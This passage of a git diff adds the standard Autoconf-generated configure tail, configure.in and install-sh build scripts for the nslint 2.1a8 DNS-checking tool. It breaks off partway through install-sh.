[FILE]... + + -h, --help print this help, then exit + -V, --version print version number and configuration settings, then exit + -q, --quiet do not print progress messages + -d, --debug don't remove temporary files + --recheck update $as_me by reconfiguring in the same conditions + --file=FILE[:TEMPLATE] + instantiate the configuration file FILE + +Configuration files: +$config_files + +Report bugs to ." + +_ACEOF +cat >>$CONFIG_STATUS <<_ACEOF +ac_cs_version="\\ +config.status +configured by $0, generated by GNU Autoconf 2.61, + with options \\"`echo "$ac_configure_args" | sed 's/^ //; s/[\\""\`\$]/\\\\&/g'`\\" + +Copyright (C) 2006 Free Software Foundation, Inc. +This config.status script is free software; the Free Software Foundation +gives unlimited permission to copy, distribute and modify it." + +ac_pwd='$ac_pwd' +srcdir='$srcdir' +INSTALL='$INSTALL' +_ACEOF + +cat >>$CONFIG_STATUS <<\_ACEOF +# If no file are specified by the user, then we need to provide default +# value. By we need to know if files were specified by the user. +ac_need_defaults=: +while test $# != 0 +do + case $1 in + --*=*) + ac_option=`expr "X$1" : 'X\([^=]*\)='` + ac_optarg=`expr "X$1" : 'X[^=]*=\(.*\)'` + ac_shift=: + ;; + *) + ac_option=$1 + ac_optarg=$2 + ac_shift=shift + ;; + esac + + case $ac_option in + # Handling of the options. + -recheck | --recheck | --rechec | --reche | --rech | --rec | --re | --r) + ac_cs_recheck=: ;; + --version | --versio | --versi | --vers | --ver | --ve | --v | -V ) + echo "$ac_cs_version"; exit ;; + --debug | --debu | --deb | --de | --d | -d ) + debug=: ;; + --file | --fil | --fi | --f ) + $ac_shift + CONFIG_FILES="$CONFIG_FILES $ac_optarg" + ac_need_defaults=false;; + --he | --h | --help | --hel | -h ) + echo "$ac_cs_usage"; exit ;; + -q | -quiet | --quiet | --quie | --qui | --qu | --q \ + | -silent | --silent | --silen | --sile | --sil | --si | --s) + ac_cs_silent=: ;; + + # This is an error. + -*) { echo "$as_me: error: unrecognized option: $1 +Try \`$0 --help' for more information." >&2 + { (exit 1); exit 1; }; } ;; + + *) ac_config_targets="$ac_config_targets $1" + ac_need_defaults=false ;; + + esac + shift +done + +ac_configure_extra_args= + +if $ac_cs_silent; then + exec 6>/dev/null + ac_configure_extra_args="$ac_configure_extra_args --silent" +fi + +_ACEOF +cat >>$CONFIG_STATUS <<_ACEOF +if \$ac_cs_recheck; then + echo "running CONFIG_SHELL=$SHELL $SHELL $0 "$ac_configure_args \$ac_configure_extra_args " --no-create --no-recursion" >&6 + CONFIG_SHELL=$SHELL + export CONFIG_SHELL + exec $SHELL "$0"$ac_configure_args \$ac_configure_extra_args --no-create --no-recursion +fi + +_ACEOF +cat >>$CONFIG_STATUS <<\_ACEOF +exec 5>>config.log +{ + echo + sed 'h;s/./-/g;s/^.../## /;s/...$/ ##/;p;x;p;x' <<_ASBOX +## Running $as_me. ## +_ASBOX + echo "$ac_log" +} >&5 + +_ACEOF +cat >>$CONFIG_STATUS <<_ACEOF +_ACEOF + +cat >>$CONFIG_STATUS <<\_ACEOF + +# Handling of arguments. +for ac_config_target in $ac_config_targets +do + case $ac_config_target in + "Makefile") CONFIG_FILES="$CONFIG_FILES Makefile" ;; + + *) { { echo "$as_me:$LINENO: error: invalid argument: $ac_config_target" >&5 +echo "$as_me: error: invalid argument: $ac_config_target" >&2;} + { (exit 1); exit 1; }; };; + esac +done + + +# If the user did not use the arguments to specify the items to instantiate, +# then the envvar interface is used. Set only those that are not. +# We use the long form for the default assignment because of an extremely +# bizarre bug on SunOS 4.1.3. +if $ac_need_defaults; then + test "${CONFIG_FILES+set}" = set || CONFIG_FILES=$config_files +fi + +# Have a temporary directory for convenience. Make it in the build tree +# simply because there is no reason against having it here, and in addition, +# creating and moving files from /tmp can sometimes cause problems. +# Hook for its removal unless debugging. +# Note that there is a small window in which the directory will not be cleaned: +# after its creation but before its name has been assigned to `$tmp'. +$debug || +{ + tmp= + trap 'exit_status=$? + { test -z "$tmp" || test ! -d "$tmp" || rm -fr "$tmp"; } && exit $exit_status +' 0 + trap '{ (exit 1); exit 1; }' 1 2 13 15 +} +# Create a (secure) tmp directory for tmp files. + +{ + tmp=`(umask 077 && mktemp -d "./confXXXXXX") 2>/dev/null` && + test -n "$tmp" && test -d "$tmp" +} || +{ + tmp=./conf$$-$RANDOM + (umask 077 && mkdir "$tmp") +} || +{ + echo "$me: cannot create a temporary directory in ." >&2 + { (exit 1); exit 1; } +} + +# +# Set up the sed scripts for CONFIG_FILES section. +# + +# No need to generate the scripts if there are no CONFIG_FILES. +# This happens for instance when ./config.status config.h +if test -n "$CONFIG_FILES"; then + +_ACEOF + + + +ac_delim='%!_!# ' +for ac_last_try in false false false false false :; do + cat >conf$$subs.sed <<_ACEOF +SHELL!$SHELL$ac_delim +PATH_SEPARATOR!$PATH_SEPARATOR$ac_delim +PACKAGE_NAME!$PACKAGE_NAME$ac_delim +PACKAGE_TARNAME!$PACKAGE_TARNAME$ac_delim +PACKAGE_VERSION!$PACKAGE_VERSION$ac_delim +PACKAGE_STRING!$PACKAGE_STRING$ac_delim +PACKAGE_BUGREPORT!$PACKAGE_BUGREPORT$ac_delim +exec_prefix!$exec_prefix$ac_delim +prefix!$prefix$ac_delim +program_transform_name!$program_transform_name$ac_delim +bindir!$bindir$ac_delim +sbindir!$sbindir$ac_delim +libexecdir!$libexecdir$ac_delim +datarootdir!$datarootdir$ac_delim +datadir!$datadir$ac_delim +sysconfdir!$sysconfdir$ac_delim +sharedstatedir!$sharedstatedir$ac_delim +localstatedir!$localstatedir$ac_delim +includedir!$includedir$ac_delim +oldincludedir!$oldincludedir$ac_delim +docdir!$docdir$ac_delim +infodir!$infodir$ac_delim +htmldir!$htmldir$ac_delim +dvidir!$dvidir$ac_delim +pdfdir!$pdfdir$ac_delim +psdir!$psdir$ac_delim +libdir!$libdir$ac_delim +localedir!$localedir$ac_delim +mandir!$mandir$ac_delim +DEFS!$DEFS$ac_delim +ECHO_C!$ECHO_C$ac_delim +ECHO_N!$ECHO_N$ac_delim +ECHO_T!$ECHO_T$ac_delim +LIBS!$LIBS$ac_delim +build_alias!$build_alias$ac_delim +host_alias!$host_alias$ac_delim +target_alias!$target_alias$ac_delim +build!$build$ac_delim +build_cpu!$build_cpu$ac_delim +build_vendor!$build_vendor$ac_delim +build_os!$build_os$ac_delim +host!$host$ac_delim +host_cpu!$host_cpu$ac_delim +host_vendor!$host_vendor$ac_delim +host_os!$host_os$ac_delim +target!$target$ac_delim +target_cpu!$target_cpu$ac_delim +target_vendor!$target_vendor$ac_delim +target_os!$target_os$ac_delim +SHLICC2!$SHLICC2$ac_delim +CC!$CC$ac_delim +CFLAGS!$CFLAGS$ac_delim +LDFLAGS!$LDFLAGS$ac_delim +CPPFLAGS!$CPPFLAGS$ac_delim +ac_ct_CC!$ac_ct_CC$ac_delim +EXEEXT!$EXEEXT$ac_delim +OBJEXT!$OBJEXT$ac_delim +CPP!$CPP$ac_delim +GREP!$GREP$ac_delim +EGREP!$EGREP$ac_delim +LIBOBJS!$LIBOBJS$ac_delim +V_CCOPT!$V_CCOPT$ac_delim +V_INCLS!$V_INCLS$ac_delim +INSTALL_PROGRAM!$INSTALL_PROGRAM$ac_delim +INSTALL_SCRIPT!$INSTALL_SCRIPT$ac_delim +INSTALL_DATA!$INSTALL_DATA$ac_delim +LTLIBOBJS!$LTLIBOBJS$ac_delim +_ACEOF + + if test `sed -n "s/.*$ac_delim\$/X/p" conf$$subs.sed | grep -c X` = 67; then + break + elif $ac_last_try; then + { { echo "$as_me:$LINENO: error: could not make $CONFIG_STATUS" >&5 +echo "$as_me: error: could not make $CONFIG_STATUS" >&2;} + { (exit 1); exit 1; }; } + else + ac_delim="$ac_delim!$ac_delim _$ac_delim!! " + fi +done + +ac_eof=`sed -n '/^CEOF[0-9]*$/s/CEOF/0/p' conf$$subs.sed` +if test -n "$ac_eof"; then + ac_eof=`echo "$ac_eof" | sort -nru | sed 1q` + ac_eof=`expr $ac_eof + 1` +fi + +cat >>$CONFIG_STATUS <<_ACEOF +cat >"\$tmp/subs-1.sed" <<\CEOF$ac_eof +/@[a-zA-Z_][a-zA-Z_0-9]*@/!b end +_ACEOF +sed ' +s/[,\\&]/\\&/g; s/@/@|#_!!_#|/g +s/^/s,@/; s/!/@,|#_!!_#|/ +:n +t n +s/'"$ac_delim"'$/,g/; t +s/$/\\/; p +N; s/^.*\n//; s/[,\\&]/\\&/g; s/@/@|#_!!_#|/g; b n +' >>$CONFIG_STATUS >$CONFIG_STATUS <<_ACEOF +:end +s/|#_!!_#|//g +CEOF$ac_eof +_ACEOF + + +# VPATH may cause trouble with some makes, so we remove $(srcdir), +# ${srcdir} and @srcdir@ from VPATH if srcdir is ".", strip leading and +# trailing colons and then remove the whole line if VPATH becomes empty +# (actually we leave an empty line to preserve line numbers). +if test "x$srcdir" = x.; then + ac_vpsub='/^[ ]*VPATH[ ]*=/{ +s/:*\$(srcdir):*/:/ +s/:*\${srcdir}:*/:/ +s/:*@srcdir@:*/:/ +s/^\([^=]*=[ ]*\):*/\1/ +s/:*$// +s/^[^=]*=[ ]*$// +}' +fi + +cat >>$CONFIG_STATUS <<\_ACEOF +fi # test -n "$CONFIG_FILES" + + +for ac_tag in :F $CONFIG_FILES +do + case $ac_tag in + :[FHLC]) ac_mode=$ac_tag; continue;; + esac + case $ac_mode$ac_tag in + :[FHL]*:*);; + :L* | :C*:*) { { echo "$as_me:$LINENO: error: Invalid tag $ac_tag." >&5 +echo "$as_me: error: Invalid tag $ac_tag." >&2;} + { (exit 1); exit 1; }; };; + :[FH]-) ac_tag=-:-;; + :[FH]*) ac_tag=$ac_tag:$ac_tag.in;; + esac + ac_save_IFS=$IFS + IFS=: + set x $ac_tag + IFS=$ac_save_IFS + shift + ac_file=$1 + shift + + case $ac_mode in + :L) ac_source=$1;; + :[FH]) + ac_file_inputs= + for ac_f + do + case $ac_f in + -) ac_f="$tmp/stdin";; + *) # Look for the file first in the build tree, then in the source tree + # (if the path is not absolute). The absolute path cannot be DOS-style, + # because $ac_f cannot contain `:'. + test -f "$ac_f" || + case $ac_f in + [\\/$]*) false;; + *) test -f "$srcdir/$ac_f" && ac_f="$srcdir/$ac_f";; + esac || + { { echo "$as_me:$LINENO: error: cannot find input file: $ac_f" >&5 +echo "$as_me: error: cannot find input file: $ac_f" >&2;} + { (exit 1); exit 1; }; };; + esac + ac_file_inputs="$ac_file_inputs $ac_f" + done + + # Let's still pretend it is `configure' which instantiates (i.e., don't + # use $as_me), people would be surprised to read: + # /* config.h. Generated by config.status. */ + configure_input="Generated from "`IFS=: + echo $* | sed 's|^[^:]*/||;s|:[^:]*/|, |g'`" by configure." + if test x"$ac_file" != x-; then + configure_input="$ac_file. $configure_input" + { echo "$as_me:$LINENO: creating $ac_file" >&5 +echo "$as_me: creating $ac_file" >&6;} + fi + + case $ac_tag in + *:-:* | *:-) cat >"$tmp/stdin";; + esac + ;; + esac + + ac_dir=`$as_dirname -- "$ac_file" || +$as_expr X"$ac_file" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ + X"$ac_file" : 'X\(//\)[^/]' \| \ + X"$ac_file" : 'X\(//\)$' \| \ + X"$ac_file" : 'X\(/\)' \| . 2>/dev/null || +echo X"$ac_file" | + sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ + s//\1/ + q + } + /^X\(\/\/\)[^/].*/{ + s//\1/ + q + } + /^X\(\/\/\)$/{ + s//\1/ + q + } + /^X\(\/\).*/{ + s//\1/ + q + } + s/.*/./; q'` + { as_dir="$ac_dir" + case $as_dir in #( + -*) as_dir=./$as_dir;; + esac + test -d "$as_dir" || { $as_mkdir_p && mkdir -p "$as_dir"; } || { + as_dirs= + while :; do + case $as_dir in #( + *\'*) as_qdir=`echo "$as_dir" | sed "s/'/'\\\\\\\\''/g"`;; #( + *) as_qdir=$as_dir;; + esac + as_dirs="'$as_qdir' $as_dirs" + as_dir=`$as_dirname -- "$as_dir" || +$as_expr X"$as_dir" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ + X"$as_dir" : 'X\(//\)[^/]' \| \ + X"$as_dir" : 'X\(//\)$' \| \ + X"$as_dir" : 'X\(/\)' \| . 2>/dev/null || +echo X"$as_dir" | + sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ + s//\1/ + q + } + /^X\(\/\/\)[^/].*/{ + s//\1/ + q + } + /^X\(\/\/\)$/{ + s//\1/ + q + } + /^X\(\/\).*/{ + s//\1/ + q + } + s/.*/./; q'` + test -d "$as_dir" && break + done + test -z "$as_dirs" || eval "mkdir $as_dirs" + } || test -d "$as_dir" || { { echo "$as_me:$LINENO: error: cannot create directory $as_dir" >&5 +echo "$as_me: error: cannot create directory $as_dir" >&2;} + { (exit 1); exit 1; }; }; } + ac_builddir=. + +case "$ac_dir" in +.) ac_dir_suffix= ac_top_builddir_sub=. ac_top_build_prefix= ;; +*) + ac_dir_suffix=/`echo "$ac_dir" | sed 's,^\.[\\/],,'` + # A ".." for each directory in $ac_dir_suffix. + ac_top_builddir_sub=`echo "$ac_dir_suffix" | sed 's,/[^\\/]*,/..,g;s,/,,'` + case $ac_top_builddir_sub in + "") ac_top_builddir_sub=. ac_top_build_prefix= ;; + *) ac_top_build_prefix=$ac_top_builddir_sub/ ;; + esac ;; +esac +ac_abs_top_builddir=$ac_pwd +ac_abs_builddir=$ac_pwd$ac_dir_suffix +# for backward compatibility: +ac_top_builddir=$ac_top_build_prefix + +case $srcdir in + .) # We are building in place. + ac_srcdir=. + ac_top_srcdir=$ac_top_builddir_sub + ac_abs_top_srcdir=$ac_pwd ;; + [\\/]* | ?:[\\/]* ) # Absolute name. + ac_srcdir=$srcdir$ac_dir_suffix; + ac_top_srcdir=$srcdir + ac_abs_top_srcdir=$srcdir ;; + *) # Relative name. + ac_srcdir=$ac_top_build_prefix$srcdir$ac_dir_suffix + ac_top_srcdir=$ac_top_build_prefix$srcdir + ac_abs_top_srcdir=$ac_pwd/$srcdir ;; +esac +ac_abs_srcdir=$ac_abs_top_srcdir$ac_dir_suffix + + + case $ac_mode in + :F) + # + # CONFIG_FILE + # + + case $INSTALL in + [\\/$]* | ?:[\\/]* ) ac_INSTALL=$INSTALL ;; + *) ac_INSTALL=$ac_top_build_prefix$INSTALL ;; + esac +_ACEOF + +cat >>$CONFIG_STATUS <<\_ACEOF +# If the template does not know about datarootdir, expand it. +# FIXME: This hack should be removed a few years after 2.60. +ac_datarootdir_hack=; ac_datarootdir_seen= + +case `sed -n '/datarootdir/ { + p + q +} +/@datadir@/p +/@docdir@/p +/@infodir@/p +/@localedir@/p +/@mandir@/p +' $ac_file_inputs` in +*datarootdir*) ac_datarootdir_seen=yes;; +*@datadir@*|*@docdir@*|*@infodir@*|*@localedir@*|*@mandir@*) + { echo "$as_me:$LINENO: WARNING: $ac_file_inputs seems to ignore the --datarootdir setting" >&5 +echo "$as_me: WARNING: $ac_file_inputs seems to ignore the --datarootdir setting" >&2;} +_ACEOF +cat >>$CONFIG_STATUS <<_ACEOF + ac_datarootdir_hack=' + s&@datadir@&$datadir&g + s&@docdir@&$docdir&g + s&@infodir@&$infodir&g + s&@localedir@&$localedir&g + s&@mandir@&$mandir&g + s&\\\${datarootdir}&$datarootdir&g' ;; +esac +_ACEOF + +# Neutralize VPATH when `$srcdir' = `.'. +# Shell code in configure.ac might set extrasub. +# FIXME: do we really want to maintain this feature? +cat >>$CONFIG_STATUS <<_ACEOF + sed "$ac_vpsub +$extrasub +_ACEOF +cat >>$CONFIG_STATUS <<\_ACEOF +:t +/@[a-zA-Z_][a-zA-Z_0-9]*@/!b +s&@configure_input@&$configure_input&;t t +s&@top_builddir@&$ac_top_builddir_sub&;t t +s&@srcdir@&$ac_srcdir&;t t +s&@abs_srcdir@&$ac_abs_srcdir&;t t +s&@top_srcdir@&$ac_top_srcdir&;t t +s&@abs_top_srcdir@&$ac_abs_top_srcdir&;t t +s&@builddir@&$ac_builddir&;t t +s&@abs_builddir@&$ac_abs_builddir&;t t +s&@abs_top_builddir@&$ac_abs_top_builddir&;t t +s&@INSTALL@&$ac_INSTALL&;t t +$ac_datarootdir_hack +" $ac_file_inputs | sed -f "$tmp/subs-1.sed" >$tmp/out + +test -z "$ac_datarootdir_hack$ac_datarootdir_seen" && + { ac_out=`sed -n '/\${datarootdir}/p' "$tmp/out"`; test -n "$ac_out"; } && + { ac_out=`sed -n '/^[ ]*datarootdir[ ]*:*=/p' "$tmp/out"`; test -z "$ac_out"; } && + { echo "$as_me:$LINENO: WARNING: $ac_file contains a reference to the variable \`datarootdir' +which seems to be undefined. Please make sure it is defined." >&5 +echo "$as_me: WARNING: $ac_file contains a reference to the variable \`datarootdir' +which seems to be undefined. Please make sure it is defined." >&2;} + + rm -f "$tmp/stdin" + case $ac_file in + -) cat "$tmp/out"; rm -f "$tmp/out";; + *) rm -f "$ac_file"; mv "$tmp/out" $ac_file;; + esac + ;; + + + + esac + +done # for ac_tag + + +{ (exit 0); exit 0; } +_ACEOF +chmod +x $CONFIG_STATUS +ac_clean_files=$ac_clean_files_save + + +# configure is writing to config.log, and then calls config.status. +# config.status does its own redirection, appending to config.log. +# Unfortunately, on DOS this fails, as config.log is still kept open +# by configure, so config.status won't be able to write to it; its +# output is simply discarded. So we exec the FD to /dev/null, +# effectively closing config.log, so it can be properly (re)opened and +# appended to by config.status. When coming back to configure, we +# need to make the FD available again. +if test "$no_create" != yes; then + ac_cs_success=: + ac_config_status_args= + test "$silent" = yes && + ac_config_status_args="$ac_config_status_args --quiet" + exec 5>/dev/null + $SHELL $CONFIG_STATUS $ac_config_status_args || ac_cs_success=false + exec 5>>config.log + # Use ||, not &&, to avoid exiting from the if with $? = 1, which + # would make configure fail if this is the last instruction. + $ac_cs_success || { (exit 1); exit 1; } +fi + + +if test -f .devel ; then + make depend +fi +exit 0 diff --git a/dns-projects/nslint-2.1a8/configure.in b/dns-projects/nslint-2.1a8/configure.in new file mode 100644 index 0000000..c34200e --- /dev/null +++ b/dns-projects/nslint-2.1a8/configure.in @@ -0,0 +1,47 @@ +dnl @(#) $Header: /usr/src/local/bin/nslint/RCS/configure.in,v 1.11 2006/03/09 02:27:20 leres Exp $ (LBL) +dnl +dnl Copyright (c) 1995, 1996, 1997, 2006 +dnl The Regents of the University of California. All rights reserved. +dnl +dnl Process this file with autoconf to produce a configure script. +dnl + +AC_INIT(nslint.c) + +AC_CANONICAL_SYSTEM + +umask 002 + +if test -z "$PWD" ; then + PWD=`pwd` +fi + +AC_LBL_C_INIT(V_CCOPT, V_INCLS) + +AC_CHECK_HEADERS(fcntl.h memory.h) + +AC_REPLACE_FUNCS(strerror) +AC_CHECK_LIB(nsl, main) +AC_CHECK_LIB(socket, main) + +AC_LBL_CHECK_TYPE(int32_t, int) +AC_LBL_CHECK_TYPE(u_int32_t, u_int) + +AC_LBL_DEVEL(V_CCOPT) + +if test -r lbl/gnuc.h ; then + rm -f gnuc.h + ln -s lbl/gnuc.h gnuc.h +fi + +AC_SUBST(V_CCOPT) +AC_SUBST(V_INCLS) + +AC_PROG_INSTALL + +AC_OUTPUT(Makefile) + +if test -f .devel ; then + make depend +fi +exit 0 diff --git a/dns-projects/nslint-2.1a8/install-sh b/dns-projects/nslint-2.1a8/install-sh new file mode 100755 index 0000000..4fbbae7 --- /dev/null +++ b/dns-projects/nslint-2.1a8/install-sh @@ -0,0 +1,507 @@ +#!/bin/sh +# install - install a program, script, or datafile + +scriptversion=2006-10-14.15 + +# This originates from X11R5 (mit/util/scripts/install.sh), which was +# later released in X11R6 (xc/config/util/install.sh) with the +# following copyright and license. +# +# Copyright (C) 1994 X Consortium +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to +# deal in the Software without restriction, including without limitation the +# rights to use, copy, modify, merge, publish, distribute, sublicense, and/or +# sell copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# X CONSORTIUM BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN +# AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNEC- +# TION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. +# +# Except as contained in this notice, the name of the X Consortium shall not +# be used in advertising or otherwise to promote the sale, use or other deal- +# ings in this Software without prior written authorization from the X Consor- +# tium. +# +# +# FSF changes to this file are in the public domain. +# +# Calling this script install-sh is preferred over install.sh, to prevent +# `make' implicit rules from creating a file called install from it +# when there is no Makefile. +# +# This script is compatible with the BSD install script, but was written +# from scratch. + +nl=' +' +IFS=" "" $nl" + +# set DOITPROG to echo to test this script + +# Don't use :- since 4.3BSD and earlier shells don't like it. +doit="${DOITPROG-}" +if test -z "$doit"; then + doit_exec=exec +else + doit_exec=$doit +fi + +# Put in absolute file names if you don't have them in your path; +# or use environment vars. + +mvprog="${MVPROG-mv}" +cpprog="${CPPROG-cp}" +chmodprog="${CHMODPROG-chmod}" +chownprog="${CHOWNPROG-chown}" +chgrpprog="${CHGRPPROG-chgrp}" +stripprog="${STRIPPROG-strip}" +rmprog="${RMPROG-rm}" +mkdirprog="${MKDIRPROG-mkdir}" + +posix_glob= +posix_mkdir= + +# Desired mode of installed file. +mode=0755 + +chmodcmd=$chmodprog +chowncmd= +chgrpcmd= +stripcmd= +rmcmd="$rmprog -f" +mvcmd="$mvprog" +src= +dst= +dir_arg= +dstarg= +no_target_directory= + +usage="Usage: $0 [OPTION]... [-T] SRCFILE DSTFILE + or: $0 [OPTION]... SRCFILES... DIRECTORY + or: $0 [OPTION]... -t DIRECTORY SRCFILES... + or: $0 [OPTION]... -d DIRECTORIES... + +In the 1st form, copy SRCFILE to DSTFILE. +In the 2nd and 3rd, copy all SRCFILES to DIRECTORY. +In the 4th, create DIRECTORIES. + +Options: +-c (ignored) +-d create directories instead of installing files. +-g GROUP $chgrpprog installed files to GROUP. +-m MODE $chmodprog installed files to MODE. +-o USER $chownprog installed files to USER. +-s $stripprog installed files. +-t DIRECTORY install into DIRECTORY. +-T report an error if DSTFILE is a directory. +--help display this help and exit. +--version display version info and exit. + +Environment variables override the default commands: + CHGRPPROG CHMODPROG CHOWNPROG CPPROG MKDIRPROG MVPROG RMPROG STRIPPROG +" + +while test $# -ne 0; do + case $1 in + -c) shift + continue;; + + -d) dir_arg=true + shift + continue;; + + -g) chgrpcmd="$chgrpprog $2" + shift + shift + continue;; + + --help) echo "$usage"; exit $?;; + + -m) mode=$2 + shift + shift + case $mode in + *' '* | *' '* | *' +'* | *'*'* | *'?'* | *'['*) + echo "$0: invalid mode: $mode" >&2 + exit 1;; + esac + continue;; + + -o) chowncmd="$chownprog $2" + shift + shift + continue;; + + -s) stripcmd=$stripprog + shift + continue;; + + -t) dstarg=$2 + shift + shift + continue;; + + -T) no_target_directory=true + shift + continue;; + + --version) echo "$0 $scriptversion"; exit $?;; + + --) shift + break;; + + -*) echo "$0: invalid option: $1" >&2 + exit 1;; + + *) break;; + esac +done + +if test $# -ne 0 && test -z "$dir_arg$dstarg"; then + # When -d is used, all remaining arguments are directories to create. + # When -t is used, the destination is already specified. + # Otherwise, the last argument is the destination. Remove it from $@. + for arg + do + if test -n "$dstarg"; then + # $@ is not empty: it contains at least $arg. + set fnord "$@" "$dstarg" + shift # fnord + fi + shift # arg + dstarg=$arg + done +fi + +if test $# -eq 0; then + if test -z "$dir_arg"; then + echo "$0: no input file specified." >&2 + exit 1 + fi + # It's OK to call `install-sh -d' without argument. + # This can happen when creating conditional directories. + exit 0 +fi + +if test -z "$dir_arg"; then + trap '(exit $?); exit' 1 2 13 15 + + # Set umask so as not to create temps with too-generous modes. + # However, 'strip' requires both read and write access to temps. + case $mode in + # Optimize common cases. + *644) cp_umask=133;; + *755) cp_umask=22;; + + *[0-7]) + if test -z "$stripcmd"; then + u_plus_rw= + else + u_plus_rw='% 200' + fi + cp_umask=`expr '(' 777 - $mode % 1000 ')' $u_plus_rw`;; + *) + if test -z "$stripcmd"; then + u_plus_rw= + else + u_plus_rw=,u+rw + fi + cp_umask=$mode$u_plus_rw;; + esac +fi + +for src +do + # Protect names starting with `-'. + case $src in + -*) src=./$src ;; + esac + + if test -n "$dir_arg"; then + dst=$src + dstdir=$dst + test -d "$dstdir" + dstdir_status=$? + else + + # Waiting for this to be detected by the "$cpprog $src $dsttmp" command + # might cause directories to be created, which would be especially bad + # if $src (and thus $dsttmp) contains '*'. + if test ! -f "$src" && test ! -d "$src"; then + echo "$0: $src does not exist." >&2 + exit 1 + fi + + if test -z "$dstarg"; then + echo "$0: no destination specified." >&2 + exit 1 + fi + + dst=$dstarg + # Protect names starting with `-'. + case $dst in + -*) dst=./$dst ;; + esac + + # If destination is a directory, append the input filename; won't work + # if double slashes aren't ignored. + if test -d "$dst"; then + if test -n "$no_target_directory"; then + echo "$0: $dstarg: Is a directory" >&2 + exit 1 + fi + dstdir=$dst + dst=$dstdir/`basename "$src"` + dstdir_status=0 + else + # Prefer dirname, but fall back on a substitute if dirname fails. + dstdir=` + (dirname "$dst") 2>/dev/null || + expr X"$dst" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ + X"$dst" : 'X\(//\)[^/]' \| \ + X"$dst" : 'X\(//\)$' \| \ + X"$dst" : 'X\(/\)' \| . 2>/dev/null || + echo X"$dst" | + sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ + s//\1/ + q + } + /^X\(\/\/\)[^/].*/{ + s//\1/ + q + } + /^X\(\/\/\)$/{ + s//\1/ + q + } + /^X\(\/\).*/{ + s//\1/ + q + } + s/.*/./; q' + ` + + test -d "$dstdir" + dstdir_status=$? + fi + fi + + obsolete_mkdir_used=false + + if test $dstdir_status != 0; then + case $posix_mkdir in + '') + # Create intermediate dirs using mode 755 as modified by the umask. + # This is like FreeBSD 'install' as of 1997-10-28. + umask=`umask` + case $stripcmd.$umask in + # Optimize common cases. + *[2367][2367]) mkdir_umask=$umask;; + .*0[02][02] | .[02][02] | .[02]) mkdir_umask=22;; + + *[0-7]) + mkdir_umask=`expr $umask + 22 \ + - $umask % 100 % 40 + $umask % 20 \ + - $umask % 10 % 4 + $umask % 2 + `;; + *) mkdir_umask=$umask,go-w;; + esac + + # With -d, create the new directory with the user-specified mode. + # Otherwise, rely on $mkdir_umask. + if test -n "$dir_arg"; then + mkdir_mode=-m$mode + else + mkdir_mode= + fi + + posix_mkdir=false + case $umask in + *[123567][0-7][0-7]) + # POSIX mkdir -p sets u+wx bits regardless of umask, which + # is incompatible with FreeBSD 'install' when (umask & 300) != 0. + ;; + *) + tmpdir=${TMPDIR-/tmp}/ins$RANDOM-$$ + trap 'ret=$?; rmdir "$tmpdir/d" "$tmpdir" 2>/dev/null; exit $ret' 0 + + if (umask $mkdir_umask && + exec $mkdirprog $mkdir_mode -p -- "$tmpdir/d") >/dev/null 2>&1 + then + if test -z "$dir_arg" || { + # Check for POSIX incompatibilities with -m. + # HP-UX 11.23 and IRIX 6.5 mkdir -m -p sets group- or + # other-writeable bit of parent directory when it shouldn't. + # FreeBSD 6.1 mkdir -m -p sets mode of existing directory. + ls_ld_tmpdir=`ls -ld "$tmpdir"` + case $ls_ld_tmpdir in + d????-?r-*) different_mode=700;; + d????-?--*) different_mode=755;; + *) false;; + esac && + $mkdirprog -m$different_mode -p -- "$tmpdir" && { + ls_ld_tmpdir_1=`ls -ld "$tmpdir"` + test "$ls_ld_tmpdir" = "$ls_ld_tmpdir_1" + } + } + then posix_mkdir=: + fi + rmdir "$tmpdir/d" "$tmpdir" + else + # Remove any dirs left behind by ancient mkdir implementations. + rmdir ./$mkdir_mode ./-p ./-- 2>/dev/null + fi + trap '' 0;; + esac;; + esac + + if + $posix_mkdir && ( + umask $mkdir_umask && + $doit_exec $mkdirprog $mkdir_mode -p -- "$dstdir" + ) + then : + else + + # The umask is ridiculous, or mkdir does not conform to POSIX, + # or it failed possibly due to a race condition. Create the + # directory the slow way, step by step, checking for races as we go. + + case $dstdir in + /*) prefix=/ ;; + -*) prefix=./ ;; + *) prefix= ;; + esac + + case $posix_glob in + '') + if (set -f) 2>/dev/null; then + posix_glob=true + else + posix_glob=false + fi ;; + esac + + oIFS=$IFS + IFS=/ + $posix_glob && set -f + set fnord $dstdir + shift + $posix_glob && set +f + IFS=$oIFS + + prefixes= + + for d + do + test -z "$d" && continue + + prefix=$prefix$d + if test -d "$prefix"; then + prefixes= + else + if $posix_mkdir; then + (umask=$mkdir_umask && + $doit_exec $mkdirprog $mkdir_mode -p -- "$dstdir") && break + # Don't fail if two instances are running concurrently. + test -d "$prefix" || exit 1 + else + case $prefix in + *\'*) qprefix=`echo "$prefix" | sed "s/'/'\\\\\\\\''/g"`;; + *) qprefix=$prefix;; + esac + prefixes="$prefixes '$qprefix'" + fi + fi + prefix=$prefix/ + done + + if test -n "$prefixes"; then + # Don't fail if two instances are running concurrently. + (umask $mkdir_umask && + eval "\$doit_exec \$mkdirprog $prefixes") || + test -d "$dstdir" || exit 1 + obsolete_mkdir_used=true + fi + fi + fi + + if test -n "$dir_arg"; then + { test -z "$chowncmd" || $doit $chowncmd "$dst"; } && + { test -z "$chgrpcmd" || $doit $chgrpcmd "$dst"; } && + { test "$obsolete_mkdir_used$chowncmd$chgrpcmd" = false || + test -z "$chmodcmd" || $doit $chmodcmd $mode "$dst"; } || exit 1 + else + + # Make a couple of temp file names in the 